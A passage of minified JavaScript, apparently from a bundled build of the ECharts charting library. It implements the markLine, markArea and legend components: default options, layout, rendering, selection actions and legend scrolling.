t.prototype.createMarkerModelFromSeries=function(e,n,r){return new t(e,n,r)},t.type=`markLine`,t.defaultOption={z:5,symbol:[`circle`,`arrow`],symbolSize:[8,16],symbolOffset:0,precision:2,tooltip:{trigger:`item`},label:{show:!0,position:`end`,distance:5},lineStyle:{type:`dashed`},emphasis:{label:{show:!0},lineStyle:{width:3}},animationEasing:`linear`},t}(S$),U$=oc(),W$=function(e,t,n,r){var i=e.getData(),a;if(B(r))a=r;else{var o=r.type;if(o===`min`||o===`max`||o===`average`||o===`median`||r.xAxis!=null||r.yAxis!=null){var s=void 0,c=void 0;if(r.yAxis!=null||r.xAxis!=null)s=t.getAxis(r.yAxis==null?`x`:`y`),c=Ct(r.yAxis,r.xAxis);else{var l=k$(r,i,t,e);s=l.valueAxis,c=P$(i,lT(i,l.valueDataDim),o)}var u=s.dim===`x`?0:1,d=1-u,f=P(r),p={coord:[]};f.type=null,f.coord=[],f.coord[d]=-1/0,p.coord[d]=1/0;var m=n.get(`precision`);m>=0&&ht(c)&&(c=+c.toFixed(Math.min(m,20))),f.coord[u]=p.coord[u]=c,a=[f,p,{type:o,valueIndex:r.valueIndex,value:c}]}else a=[]}var h=[O$(e,a[0]),O$(e,a[1]),F({},a[2])];return h[2].type=h[2].type||null,nt(h[2],h[0]),nt(h[2],h[1]),h};function G$(e){return!isNaN(e)&&!isFinite(e)}function K$(e,t,n,r){var i=1-e,a=r.dimensions[e];return G$(t[i])&&G$(n[i])&&t[e]===n[e]&&r.getAxis(a).containData(t[e])}function q$(e,t){if(e.type===`cartesian2d`){var n=t[0].coord,r=t[1].coord;if(n&&r&&(K$(1,n,r,e)||K$(0,n,r,e)))return!0}return j$(e,t[0])&&j$(e,t[1])}function J$(e,t,n,r,i){var a=r.coordinateSystem,o=e.getItemModel(t),s,c=X(o.get(`x`),i.getWidth()),l=X(o.get(`y`),i.getHeight());if(!isNaN(c)&&!isNaN(l))s=[c,l];else{if(r.getMarkerPosition)s=r.getMarkerPosition(e.getValues(e.dimensions,t));else{var u=a.dimensions,d=e.get(u[0],t),f=e.get(u[1],t);s=a.dataToPoint([d,f])}if(IA(a,`cartesian2d`)){var p=a.getAxis(`x`),m=a.getAxis(`y`),u=a.dimensions;G$(e.get(u[0],t))?s[0]=p.toGlobalCoord(p.getExtent()[+!n]):G$(e.get(u[1],t))&&(s[1]=m.toGlobalCoord(m.getExtent()[+!n]))}isNaN(c)||(s[0]=c),isNaN(l)||(s[1]=l)}e.setItemLayout(t,s)}var Y$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.updateTransform=function(e,t,n){t.eachSeries(function(e){var t=S$.getMarkerModelFromSeries(e,`markLine`);if(t){var r=t.getData(),i=U$(t).from,a=U$(t).to;i.each(function(t){J$(i,t,!0,e,n),J$(a,t,!1,e,n)}),r.each(function(e){r.setItemLayout(e,[i.getItemLayout(e),a.getItemLayout(e)])}),this.markerGroupMap.get(e.id).updateLayout()}},this)},t.prototype.renderSeries=function(e,t,n,r){var i=e.coordinateSystem,a=e.id,o=e.getData(),s=this.markerGroupMap,c=s.get(a)||s.set(a,new Lz);this.group.add(c.group);var l=X$(i,e,t),u=l.from,d=l.to,f=l.line;U$(t).from=u,U$(t).to=d,t.setData(f);var p=t.get(`symbol`),m=t.get(`symbolSize`),h=t.get(`symbolRotate`),g=t.get(`symbolOffset`);B(p)||(p=[p,p]),B(m)||(m=[m,m]),B(h)||(h=[h,h]),B(g)||(g=[g,g]),l.from.each(function(e){_(u,e,!0),_(d,e,!1)}),f.each(function(e){var t=f.getItemModel(e),n=t.getModel(`lineStyle`).getLineStyle();f.setItemLayout(e,[u.getItemLayout(e),d.getItemLayout(e)]);var r=t.get(`z2`);n.stroke??=u.getItemVisual(e,`style`).fill,f.setItemVisual(e,{z2:W(r,0),fromSymbolKeepAspect:u.getItemVisual(e,`symbolKeepAspect`),fromSymbolOffset:u.getItemVisual(e,`symbolOffset`),fromSymbolRotate:u.getItemVisual(e,`symbolRotate`),fromSymbolSize:u.getItemVisual(e,`symbolSize`),fromSymbol:u.getItemVisual(e,`symbol`),toSymbolKeepAspect:d.getItemVisual(e,`symbolKeepAspect`),toSymbolOffset:d.getItemVisual(e,`symbolOffset`),toSymbolRotate:d.getItemVisual(e,`symbolRotate`),toSymbolSize:d.getItemVisual(e,`symbolSize`),toSymbol:d.getItemVisual(e,`symbol`),style:n})}),c.updateData(f),l.line.eachItemGraphicEl(function(e){Z(e).dataModel=t,e.traverse(function(e){Z(e).dataModel=t})});function _(t,n,i){var a=t.getItemModel(n);J$(t,n,i,e,r);var s=a.getModel(`itemStyle`).getItemStyle();s.fill??=Tx(o,`color`),t.setItemVisual(n,{symbolKeepAspect:a.get(`symbolKeepAspect`),symbolOffset:W(a.get(`symbolOffset`,!0),g[+!i]),symbolRotate:W(a.get(`symbolRotate`,!0),h[+!i]),symbolSize:W(a.get(`symbolSize`),m[+!i]),symbol:W(a.get(`symbol`,!0),p[+!i]),style:s})}this.markKeep(c),c.group.silent=t.get(`silent`)||e.get(`silent`)},t.type=`markLine`,t}(I$);function X$(e,t,n){var r=e?R(e&&e.dimensions,function(e){return F(F({},t.getData().getDimensionInfo(t.getData().mapDimension(e))||{}),{name:e,ordinalMeta:null})}):[{name:`value`,type:`float`}],i=new Zw(r,n),a=new Zw(r,n),o=new Zw([],n),s=R(n.get(`data`),pt(W$,t,e,n));e&&(s=lt(s,pt(q$,e)));var c=N$(!!e,r);return i.initData(R(s,function(e){return e[0]}),null,c),a.initData(R(s,function(e){return e[1]}),null,c),o.initData(R(s,function(e){return e[2]})),o.hasItemOption=!0,{from:i,to:a,line:o}}function Z$(e){e.registerComponentModel(H$),e.registerComponentView(Y$),e.registerPreprocessor(function(e){y$(e.series,`markLine`)&&(e.markLine=e.markLine||{})})}var Q$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.createMarkerModelFromSeries=function(e,n,r){return new t(e,n,r)},t.type=`markArea`,t.defaultOption={z:1,tooltip:{trigger:`item`},animation:!1,label:{show:!0,position:`top`},itemStyle:{borderWidth:0},emphasis:{label:{show:!0,position:`top`}}},t}(S$),$$=oc(),e1=function(e,t,n,r){var i=r[0],a=r[1];if(!(!i||!a)){var o=O$(e,i),s=O$(e,a),c=o.coord,l=s.coord;c[0]=Ct(c[0],-1/0),c[1]=Ct(c[1],-1/0),l[0]=Ct(l[0],1/0),l[1]=Ct(l[1],1/0);var u=rt([{},o,s]);return u.coord=[o.coord,s.coord],u.x0=o.x,u.y0=o.y,u.x1=s.x,u.y1=s.y,u}};function t1(e){return!isNaN(e)&&!isFinite(e)}function n1(e,t,n,r){var i=1-e;return t1(t[i])&&t1(n[i])}function r1(e,t){var n=t.coord[0],r=t.coord[1],i={coord:n,x:t.x0,y:t.y0},a={coord:r,x:t.x1,y:t.y1};return IA(e,`cartesian2d`)?n&&r&&(n1(1,n,r,e)||n1(0,n,r,e))?!0:M$(e,i,a):j$(e,i)||j$(e,a)}function i1(e,t,n,r,i){var a=r.coordinateSystem,o=e.getItemModel(t),s,c=X(o.get(n[0]),i.getWidth()),l=X(o.get(n[1]),i.getHeight());if(!isNaN(c)&&!isNaN(l))s=[c,l];else{if(r.getMarkerPosition){var u=e.getValues([`x0`,`y0`],t),d=e.getValues([`x1`,`y1`],t),f=a.clampData(u),p=a.clampData(d),m=[];n[0]===`x0`?m[0]=f[0]>p[0]?d[0]:u[0]:m[0]=f[0]>p[0]?u[0]:d[0],n[1]===`y0`?m[1]=f[1]>p[1]?d[1]:u[1]:m[1]=f[1]>p[1]?u[1]:d[1],s=r.getMarkerPosition(m,n,!0)}else{var h=e.get(n[0],t),g=e.get(n[1],t),_=[h,g];a.clampData&&a.clampData(_,_),s=a.dataToPoint(_,!0)}if(IA(a,`cartesian2d`)){var v=a.getAxis(`x`),y=a.getAxis(`y`),h=e.get(n[0],t),g=e.get(n[1],t);t1(h)?s[0]=v.toGlobalCoord(v.getExtent()[n[0]===`x0`?0:1]):t1(g)&&(s[1]=y.toGlobalCoord(y.getExtent()[n[1]===`y0`?0:1]))}isNaN(c)||(s[0]=c),isNaN(l)||(s[1]=l)}return s}var a1=[[`x0`,`y0`],[`x1`,`y0`],[`x1`,`y1`],[`x0`,`y1`]],o1=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.updateTransform=function(e,t,n){t.eachSeries(function(e){var t=S$.getMarkerModelFromSeries(e,`markArea`);if(t){var r=t.getData();r.each(function(t){var i=R(a1,function(i){return i1(r,t,i,e,n)});r.setItemLayout(t,i),r.getItemGraphicEl(t).setShape(`points`,i)})}},this)},t.prototype.renderSeries=function(e,t,n,r){var i=e.coordinateSystem,a=e.id,o=e.getData(),s=this.markerGroupMap,c=s.get(a)||s.set(a,{group:new Y});this.group.add(c.group),this.markKeep(c);var l=s1(i,e,t);t.setData(l),l.each(function(t){var n=R(a1,function(n){return i1(l,t,n,e,r)}),a=i.getAxis(`x`).scale,s=i.getAxis(`y`).scale,c=a.getExtent(),u=s.getExtent(),d=[a.parse(l.get(`x0`,t)),a.parse(l.get(`x1`,t))],f=[s.parse(l.get(`y0`,t)),s.parse(l.get(`y1`,t))];ls(d),ls(f);var p=c[0]>d[1]||c[1]<d[0]||u[0]>f[1]||u[1]<f[0];l.setItemLayout(t,{points:n,allClipped:p});var m=l.getItemModel(t),h=m.getModel(`itemStyle`).getItemStyle(),g=m.get(`z2`),_=Tx(o,`color`);h.fill||(h.fill=_,H(h.fill)&&(h.fill=Ii(h.fill,.4))),h.stroke||=_,l.setItemVisual(t,`style`,h),l.setItemVisual(t,`z2`,W(g,0))}),l.diff($$(c).data).add(function(e){var t=l.getItemLayout(e),n=l.getItemVisual(e,`z2`);if(!t.allClipped){var r=new sp({z2:W(n,0),shape:{points:t.points}});l.setItemGraphicEl(e,r),c.group.add(r)}}).update(function(e,n){var r=$$(c).data.getItemGraphicEl(n),i=l.getItemLayout(e),a=l.getItemVisual(e,`z2`);i.allClipped?r&&c.group.remove(r):(r?Lp(r,{z2:W(a,0),shape:{points:i.points}},t,e):r=new sp({shape:{points:i.points}}),l.setItemGraphicEl(e,r),c.group.add(r))}).remove(function(e){var t=$$(c).data.getItemGraphicEl(e);c.group.remove(t)}).execute(),l.eachItemGraphicEl(function(e,n){var r=l.getItemModel(n),i=l.getItemVisual(n,`style`);e.useStyle(l.getItemVisual(n,`style`)),Rm(e,zm(r),{labelFetcher:t,labelDataIndex:n,defaultText:l.getName(n)||``,inheritColor:H(i.fill)?Ii(i.fill,1):Q.color.neutral99}),rf(e,r),$d(e,null,null,r.get([`emphasis`,`disabled`])),Z(e).dataModel=t}),$$(c).data=l,c.group.silent=t.get(`silent`)||e.get(`silent`)},t.type=`markArea`,t}(I$);function s1(e,t,n){var r,i,a=[`x0`,`y0`,`x1`,`y1`];if(e){var o=R(e&&e.dimensions,function(e){var n=t.getData();return F(F({},n.getDimensionInfo(n.mapDimension(e))||{}),{name:e,ordinalMeta:null})});i=R(a,function(e,t){return{name:e,type:o[t%2].type}}),r=new Zw(i,n)}else i=[{name:`value`,type:`float`}],r=new Zw(i,n);var s=R(n.get(`data`),pt(e1,t,e,n));e&&(s=lt(s,pt(r1,e)));var c=e?function(e,t,n,r){var a=e.coord[Math.floor(r/2)][r%2];return uy(a,i[r])}:function(e,t,n,r){return uy(e.value,i[r])};return r.initData(s,null,c),r.hasItemOption=!0,r}function c1(e){e.registerComponentModel(Q$),e.registerComponentView(o1),e.registerPreprocessor(function(e){y$(e.series,`markArea`)&&(e.markArea=e.markArea||{})})}var l1=function(e,t){if(t===`all`)return{type:`all`,title:e.getLocaleModel().get([`legend`,`selector`,`all`])};if(t===`inverse`)return{type:`inverse`,title:e.getLocaleModel().get([`legend`,`selector`,`inverse`])}},u1=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.layoutMode={type:`box`,ignoreSize:!0},n}return t.prototype.init=function(e,t,n){this.mergeDefaultAndTheme(e,n),e.selected=e.selected||{},this._updateSelector(e)},t.prototype.mergeOption=function(t,n){e.prototype.mergeOption.call(this,t,n),this._updateSelector(t)},t.prototype._updateSelector=function(e){var t=e.selector,n=this.ecModel;t===!0&&(t=e.selector=[`all`,`inverse`]),B(t)&&L(t,function(e,r){H(e)&&(e={type:e}),t[r]=nt(e,l1(n,e.type))})},t.prototype.optionUpdated=function(){this._updateData(this.ecModel);var e=this._data;if(e[0]&&this.get(`selectedMode`)===`single`){for(var t=!1,n=0;n<e.length;n++){var r=e[n].get(`name`);if(this.isSelected(r)){this.select(r),t=!0;break}}!t&&this.select(e[0].get(`name`))}},t.prototype._updateData=function(e){var t=[],n=[];e.eachRawSeries(function(r){var i=r.name;n.push(i);var a;if(r.legendVisualProvider){var o=r.legendVisualProvider.getAllNames();e.isSeriesFiltered(r)||(n=n.concat(o)),o.length?t=t.concat(o):a=!0}else a=!0;a&&$s(r)&&t.push(r.name)}),this._availableNames=n;var r=this.get(`data`)||t,i=G(),a=R(r,function(e){return(H(e)||ht(e))&&(e={name:e}),i.get(e.name)?null:(i.set(e.name,!0),new lh(e,this,this.ecModel))},this);this._data=lt(a,function(e){return!!e})},t.prototype.getData=function(){return this._data},t.prototype.select=function(e){var t=this.option.selected;if(this.get(`selectedMode`)===`single`){var n=this._data;L(n,function(e){t[e.get(`name`)]=!1})}t[e]=!0},t.prototype.unSelect=function(e){this.get(`selectedMode`)!==`single`&&(this.option.selected[e]=!1)},t.prototype.toggleSelected=function(e){var t=this.option.selected;t.hasOwnProperty(e)||(t[e]=!0),this[t[e]?`unSelect`:`select`](e)},t.prototype.allSelect=function(){var e=this._data,t=this.option.selected;L(e,function(e){t[e.get(`name`,!0)]=!0})},t.prototype.inverseSelect=function(){var e=this._data,t=this.option.selected;L(e,function(e){var n=e.get(`name`,!0);t.hasOwnProperty(n)||(t[n]=!0),t[n]=!t[n]})},t.prototype.isSelected=function(e){var t=this.option.selected;return!(t.hasOwnProperty(e)&&!t[e])&&it(this._availableNames,e)>=0},t.prototype.getOrient=function(){return this.get(`orient`)===`vertical`?{index:1,name:`vertical`}:{index:0,name:`horizontal`}},t.type=`legend.plain`,t.dependencies=[`series`],t.defaultOption={z:4,show:!0,orient:`horizontal`,left:`center`,bottom:Q.size.m,align:`auto`,backgroundColor:Q.color.transparent,borderColor:Q.color.border,borderRadius:0,borderWidth:0,padding:5,itemGap:8,itemWidth:25,itemHeight:14,symbolRotate:`inherit`,symbolKeepAspect:!0,inactiveColor:Q.color.disabled,inactiveBorderColor:Q.color.disabled,inactiveBorderWidth:`auto`,itemStyle:{color:`inherit`,opacity:`inherit`,borderColor:`inherit`,borderWidth:`auto`,borderCap:`inherit`,borderJoin:`inherit`,borderDashOffset:`inherit`,borderMiterLimit:`inherit`},lineStyle:{width:`auto`,color:`inherit`,inactiveColor:Q.color.disabled,inactiveWidth:2,opacity:`inherit`,type:`inherit`,cap:`inherit`,join:`inherit`,dashOffset:`inherit`,miterLimit:`inherit`},textStyle:{color:Q.color.secondary},selectedMode:!0,selector:!1,selectorLabel:{show:!0,borderRadius:10,padding:[3,5,3,5],fontSize:12,fontFamily:`sans-serif`,color:Q.color.tertiary,borderWidth:1,borderColor:Q.color.border},emphasis:{selectorLabel:{show:!0,color:Q.color.quaternary}},selectorPosition:`auto`,selectorItemGap:7,selectorButtonGap:10,tooltip:{show:!1},triggerEvent:!1},t}(e_),d1=pt,f1=L,p1=Y,m1=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.newlineDisabled=!1,n}return t.prototype.init=function(){this.group.add(this._contentGroup=new p1),this.group.add(this._selectorGroup=new p1),this._isFirstRender=!0},t.prototype.getContentGroup=function(){return this._contentGroup},t.prototype.getSelectorGroup=function(){return this._selectorGroup},t.prototype.render=function(e,t,n){var r=this._isFirstRender;if(this._isFirstRender=!1,this.resetInner(),e.get(`show`,!0)){var i=e.get(`align`),a=e.get(`orient`);(!i||i===`auto`)&&(i=e.get(`left`)===`right`&&a===`vertical`?`right`:`left`);var o=e.get(`selector`,!0),s=e.get(`selectorPosition`,!0);o&&(!s||s===`auto`)&&(s=a===`horizontal`?`end`:`start`),this.renderInner(i,e,t,n,o,a,s);var c=Kg(e,n).refContainer,l=e.getBoxLayoutParams(),u=e.get(`padding`),d=Ug(l,c,u),f=this.layoutInner(e,i,d,r,o,s),p=Ug(I({width:f.width,height:f.height},l),c,u);this.group.x=p.x-f.x,this.group.y=p.y-f.y,this.group.markRedraw(),this.group.add(this._backgroundEl=qX(f,e))}},t.prototype.resetInner=function(){this.getContentGroup().removeAll(),this._backgroundEl&&this.group.remove(this._backgroundEl),this.getSelectorGroup().removeAll()},t.prototype.renderInner=function(e,t,n,r,i,a,o){var s=this.getContentGroup(),c=G(),l=t.get(`selectedMode`),u=t.get(`triggerEvent`),d=[];n.eachRawSeries(function(e){!e.get(`legendHoverLink`)&&d.push(e.id)}),f1(t.getData(),function(i,a){var o=this,f=i.get(`name`);if(!this.newlineDisabled&&(f===``||f===`
+`)){var p=new p1;p.newline=!0,s.add(p);return}var m=n.getSeriesByName(f)[0];if(!c.get(f))if(m){var h=m.getData(),g=h.getVisual(`legendLineStyle`)||{},_=h.getVisual(`legendIcon`),v=h.getVisual(`style`),y=this._createItem(m,f,a,i,t,e,g,v,_,l,r);y.on(`click`,d1(_1,f,null,r,d)).on(`mouseover`,d1(y1,m.name,null,r,d)).on(`mouseout`,d1(b1,m.name,null,r,d)),n.ssr&&y.eachChild(function(e){var t=Z(e);t.seriesIndex=m.seriesIndex,t.dataIndex=a,t.ssrType=`legend`}),u&&y.eachChild(function(e){o.packEventData(e,t,m,a,f)}),c.set(f,!0)}else n.eachRawSeries(function(o){var s=this;if(!c.get(f)&&o.legendVisualProvider){var p=o.legendVisualProvider;if(!p.containName(f))return;var m=p.indexOfName(f),h=p.getItemVisual(m,`style`),g=p.getItemVisual(m,`legendIcon`),_=ki(h.fill);_&&_[3]===0&&(_[3]=.2,h=F(F({},h),{fill:Li(_,`rgba`)}));var v=this._createItem(o,f,a,i,t,e,{},h,g,l,r);v.on(`click`,d1(_1,null,f,r,d)).on(`mouseover`,d1(y1,null,f,r,d)).on(`mouseout`,d1(b1,null,f,r,d)),n.ssr&&v.eachChild(function(e){var t=Z(e);t.seriesIndex=o.seriesIndex,t.dataIndex=a,t.ssrType=`legend`}),u&&v.eachChild(function(e){s.packEventData(e,t,o,a,f)}),c.set(f,!0)}},this)},this),i&&this._createSelector(i,t,r,a,o)},t.prototype.packEventData=function(e,t,n,r,i){var a={componentType:`legend`,componentIndex:t.componentIndex,dataIndex:r,value:i,seriesIndex:n.seriesIndex};Z(e).eventData=a},t.prototype._createSelector=function(e,t,n,r,i){var a=this.getSelectorGroup();f1(e,function(e){var r=e.type,i=new Hu({style:{x:0,y:0,align:`center`,verticalAlign:`middle`},onclick:function(){n.dispatchAction({type:r===`all`?`legendAllSelect`:`legendInverseSelect`,legendId:t.id})}});a.add(i),Rm(i,{normal:t.getModel(`selectorLabel`),emphasis:t.getModel([`emphasis`,`selectorLabel`])},{defaultText:e.title}),Zd(i)})},t.prototype._createItem=function(e,t,n,r,i,a,o,s,c,l,u){var d=e.visualDrawType,f=i.get(`itemWidth`),p=i.get(`itemHeight`),m=i.isSelected(t),h=r.get(`symbolRotate`),g=r.get(`symbolKeepAspect`),_=r.get(`icon`);c=_||c||`roundRect`;var v=h1(c,r,o,s,d,m,u),y=new p1,b=r.getModel(`textStyle`);if(V(e.getLegendIcon)&&(!_||_===`inherit`))y.add(e.getLegendIcon({itemWidth:f,itemHeight:p,icon:c,iconRotate:h,itemStyle:v.itemStyle,lineStyle:v.lineStyle,symbolKeepAspect:g}));else{var x=_===`inherit`&&e.getData().getVisual(`symbol`)?h===`inherit`?e.getData().getVisual(`symbolRotate`):h:0;y.add(g1({itemWidth:f,itemHeight:p,icon:c,iconRotate:x,itemStyle:v.itemStyle,lineStyle:v.lineStyle,symbolKeepAspect:g}))}var S=a===`left`?f+5:-5,C=a,w=i.get(`formatter`),T=t;H(w)&&w?T=w.replace(`{name}`,t??``):V(w)&&(T=w(t));var E=m?b.getTextColor():r.get(`inactiveColor`);y.add(new Hu({style:Bm(b,{text:T,x:S,y:p/2,fill:E,align:C,verticalAlign:`middle`},{inheritColor:E})}));var D=new Lu({shape:y.getBoundingRect(),style:{fill:`transparent`}}),O=r.getModel(`tooltip`);return O.get(`show`)&&wm({el:D,componentModel:i,itemName:t,itemTooltipOption:O.option}),y.add(D),y.eachChild(function(e){e.silent=!0}),D.silent=!l,this.getContentGroup().add(y),Zd(y),y.__legendDataIndex=n,y},t.prototype.layoutInner=function(e,t,n,r,i,a){var o=this.getContentGroup(),s=this.getSelectorGroup();zg(e.get(`orient`),o,e.get(`itemGap`),n.width,n.height);var c=o.getBoundingRect(),l=[-c.x,-c.y];if(s.markRedraw(),o.markRedraw(),i){zg(`horizontal`,s,e.get(`selectorItemGap`,!0));var u=s.getBoundingRect(),d=[-u.x,-u.y],f=e.get(`selectorButtonGap`,!0),p=e.getOrient().index,m=p===0?`width`:`height`,h=p===0?`height`:`width`,g=p===0?`y`:`x`;a===`end`?d[p]+=c[m]+f:l[p]+=u[m]+f,d[1-p]+=c[h]/2-u[h]/2,s.x=d[0],s.y=d[1],o.x=l[0],o.y=l[1];var _={x:0,y:0};return _[m]=c[m]+f+u[m],_[h]=Math.max(c[h],u[h]),_[g]=Math.min(0,u[g]+d[1-p]),_}else return o.x=l[0],o.y=l[1],this.group.getBoundingRect()},t.prototype.remove=function(){this.getContentGroup().removeAll(),this._isFirstRender=!0},t.type=`legend.plain`,t}(Eb);function h1(e,t,n,r,i,a,o){function s(e,t){e.lineWidth===`auto`&&(e.lineWidth=t.lineWidth>0?2:0),f1(e,function(n,r){e[r]===`inherit`&&(e[r]=t[r])})}var c=t.getModel(`itemStyle`),l=c.getItemStyle(),u=e.lastIndexOf(`empty`,0)===0?`fill`:`stroke`,d=c.getShallow(`decal`);l.decal=!d||d===`inherit`?r.decal:kS(d,o),l.fill===`inherit`&&(l.fill=r[i]),l.stroke===`inherit`&&(l.stroke=r[u]),l.opacity===`inherit`&&(l.opacity=(i===`fill`?r:n).opacity),s(l,r);var f=t.getModel(`lineStyle`),p=f.getLineStyle();if(s(p,n),l.fill===`auto`&&(l.fill=r.fill),l.stroke===`auto`&&(l.stroke=r.fill),p.stroke===`auto`&&(p.stroke=r.fill),!a){var m=t.get(`inactiveBorderWidth`),h=l[u];l.lineWidth=m===`auto`?r.lineWidth>0&&h?2:0:l.lineWidth,l.fill=t.get(`inactiveColor`),l.stroke=t.get(`inactiveBorderColor`),p.stroke=f.get(`inactiveColor`),p.lineWidth=f.get(`inactiveWidth`)}return{itemStyle:l,lineStyle:p}}function g1(e){var t=e.icon||`roundRect`,n=Bx(t,0,0,e.itemWidth,e.itemHeight,e.itemStyle.fill,e.symbolKeepAspect);return n.setStyle(e.itemStyle),n.rotation=(e.iconRotate||0)*Math.PI/180,n.setOrigin([e.itemWidth/2,e.itemHeight/2]),t.indexOf(`empty`)>-1&&(n.style.stroke=n.style.fill,n.style.fill=Q.color.neutral00,n.style.lineWidth=2),n}function _1(e,t,n,r){b1(e,t,n,r),n.dispatchAction({type:`legendToggleSelect`,name:e??t}),y1(e,t,n,r)}function v1(e){for(var t=e.getZr().storage.getDisplayList(),n,r=0,i=t.length;r<i&&!(n=t[r].states.emphasis);)r++;return n&&n.hoverLayer}function y1(e,t,n,r){v1(n)||n.dispatchAction({type:`highlight`,seriesName:e,name:t,excludeSeriesId:r})}function b1(e,t,n,r){v1(n)||n.dispatchAction({type:`downplay`,seriesName:e,name:t,excludeSeriesId:r})}function x1(e){var t=e.findComponents({mainType:`legend`});t&&t.length&&e.filterSeries(function(e){for(var n=0;n<t.length;n++)if(!t[n].isSelected(e.name))return!1;return!0})}function S1(e,t,n){var r=e===`allSelect`||e===`inverseSelect`,i={},a=[];n.eachComponent({mainType:`legend`,query:t},function(n){r?n[e]():n[e](t.name),C1(n,i),a.push(n.componentIndex)});var o={};return n.eachComponent(`legend`,function(e){L(i,function(t,n){e[t?`select`:`unSelect`](n)}),C1(e,o)}),r?{selected:o,legendIndex:a}:{name:t.name,selected:o}}function C1(e,t){var n=t||{};return L(e.getData(),function(t){var r=t.get(`name`);if(!(r===`
+`||r===``)){var i=e.isSelected(r);K(n,r)?n[r]=n[r]&&i:n[r]=i}}),n}function w1(e){e.registerAction(`legendToggleSelect`,`legendselectchanged`,pt(S1,`toggleSelected`)),e.registerAction(`legendAllSelect`,`legendselectall`,pt(S1,`allSelect`)),e.registerAction(`legendInverseSelect`,`legendinverseselect`,pt(S1,`inverseSelect`)),e.registerAction(`legendSelect`,`legendselected`,pt(S1,`select`)),e.registerAction(`legendUnSelect`,`legendunselected`,pt(S1,`unSelect`))}function T1(e){e.registerComponentModel(u1),e.registerComponentView(m1),e.registerProcessor(e.PRIORITY.PROCESSOR.SERIES_FILTER,x1),e.registerSubTypeDefaulter(`legend`,function(){return`plain`}),w1(e)}var E1=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.setScrollDataIndex=function(e){this.option.scrollDataIndex=e},t.prototype.init=function(t,n,r){var i=Zg(t);e.prototype.init.call(this,t,n,r),D1(this,t,i)},t.prototype.mergeOption=function(t,n){e.prototype.mergeOption.call(this,t,n),D1(this,this.option,t)},t.type=`legend.scroll`,t.defaultOption=mh(u1.defaultOption,{scrollDataIndex:0,pageButtonItemGap:5,pageButtonGap:null,pageButtonPosition:`end`,pageFormatter:`{current}/{total}`,pageIcons:{horizontal:[`M0,0L12,-10L12,10z`,`M0,0L-12,-10L-12,10z`],vertical:[`M0,0L20,0L10,-20z`,`M0,0L20,0L10,20z`]},pageIconColor:Q.color.accent50,pageIconInactiveColor:Q.color.accent10,pageIconSize:15,pageTextStyle:{color:Q.color.tertiary},animationDurationUpdate:800}),t}(u1);function D1(e,t,n){var r=e.getOrient(),i=[1,1];i[r.index]=0,Xg(t,n,{type:`box`,ignoreSize:!!i})}var O1=Y,k1=[`width`,`height`],A1=[`x`,`y`],j1=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.newlineDisabled=!0,n._currentIndex=0,n}return t.prototype.init=function(){e.prototype.init.call(this),this.group.add(this._containerGroup=new O1),this._containerGroup.add(this.getContentGroup()),this.group.add(this._controllerGroup=new O1)},t.prototype.resetInner=function(){e.prototype.resetInner.call(this),this._controllerGroup.removeAll(),this._containerGroup.removeClipPath(),this._containerGroup.__rectSize=null},t.prototype.renderInner=function(t,n,r,i,a,o,s){var c=this;e.prototype.renderInner.call(this,t,n,r,i,a,o,s);var l=this._controllerGroup,u=n.get(`pageIconSize`,!0),d=B(u)?u:[u,u];p(`pagePrev`,0);var f=n.getModel(`pageTextStyle`);l.add(new Hu({name:`pageText`,style:{text:`xx/xx`,fill:f.getTextColor(),font:f.getFont(),verticalAlign:`middle`,align:`center`},silent:!0})),p(`pageNext`,1);function p(e,t){var r=e+`DataIndex`,a=gm(n.get(`pageIcons`,!0)[n.getOrient().name][t],{onclick:z(c._pageGo,c,r,n,i)},{x:-d[0]/2,y:-d[1]/2,width:d[0],height:d[1]});a.name=e,l.add(a)}},t.prototype.layoutInner=function(e,t,n,r,i,a){var o=this.getSelectorGroup(),s=e.getOrient().index,c=k1[s],l=A1[s],u=k1[1-s],d=A1[1-s];i&&zg(`horizontal`,o,e.get(`selectorItemGap`,!0));var f=e.get(`selectorButtonGap`,!0),p=o.getBoundingRect(),m=[-p.x,-p.y],h=P(n);i&&(h[c]=n[c]-p[c]-f);var g=this._layoutContentAndController(e,r,h,s,c,u,d,l);if(i){if(a===`end`)m[s]+=g[c]+f;else{var _=p[c]+f;m[s]-=_,g[l]-=_}g[c]+=p[c]+f,m[1-s]+=g[d]+g[u]/2-p[u]/2,g[u]=Math.max(g[u],p[u]),g[d]=Math.min(g[d],p[d]+m[1-s]),o.x=m[0],o.y=m[1],o.markRedraw()}return g},t.prototype._layoutContentAndController=function(e,t,n,r,i,a,o,s){var c=this.getContentGroup(),l=this._containerGroup,u=this._controllerGroup;zg(e.get(`orient`),c,e.get(`itemGap`),r?n.width:null,r?null:n.height),zg(`horizontal`,u,e.get(`pageButtonItemGap`,!0));var d=c.getBoundingRect(),f=u.getBoundingRect(),p=this._showController=d[i]>n[i],m=[-d.x,-d.y];t||(m[r]=c[s]);var h=[0,0],g=[-f.x,-f.y],_=W(e.get(`pageButtonGap`,!0),e.get(`itemGap`,!0));p&&(e.get(`pageButtonPosition`,!0)===`end`?g[r]+=n[i]-f[i]:h[r]+=f[i]+_),g[1-r]+=d[a]/2-f[a]/2,c.setPosition(m),l.setPosition(h),u.setPosition(g);var v={x:0,y:0};if(v[i]=p?n[i]:d[i],v[a]=Math.max(d[a],f[a]),v[o]=Math.min(0,f[o]+g[1-r]),l.__rectSize=n[i],p){var y={x:0,y:0};y[i]=Math.max(n[i]-f[i]-_,0),y[a]=v[a],l.setClipPath(new Lu({shape:y})),l.__rectSize=y[i]}else u.eachChild(function(e){e.attr({invisible:!0,silent:!0})});var b=this._getPageInfo(e);return b.pageIndex!=null&&Lp(c,{x:b.contentPosition[0],y:b.contentPosition[1]},p?e:null),this._updatePageInfoView(e,b),v},t.prototype._pageGo=function(e,t,n){var r=this._getPageInfo(t)[e];r!=null&&n.dispatchAction({type:`legendScroll`,scrollDataIndex:r,legendId:t.id})},t.prototype._updatePageInfoView=function(e,t){var 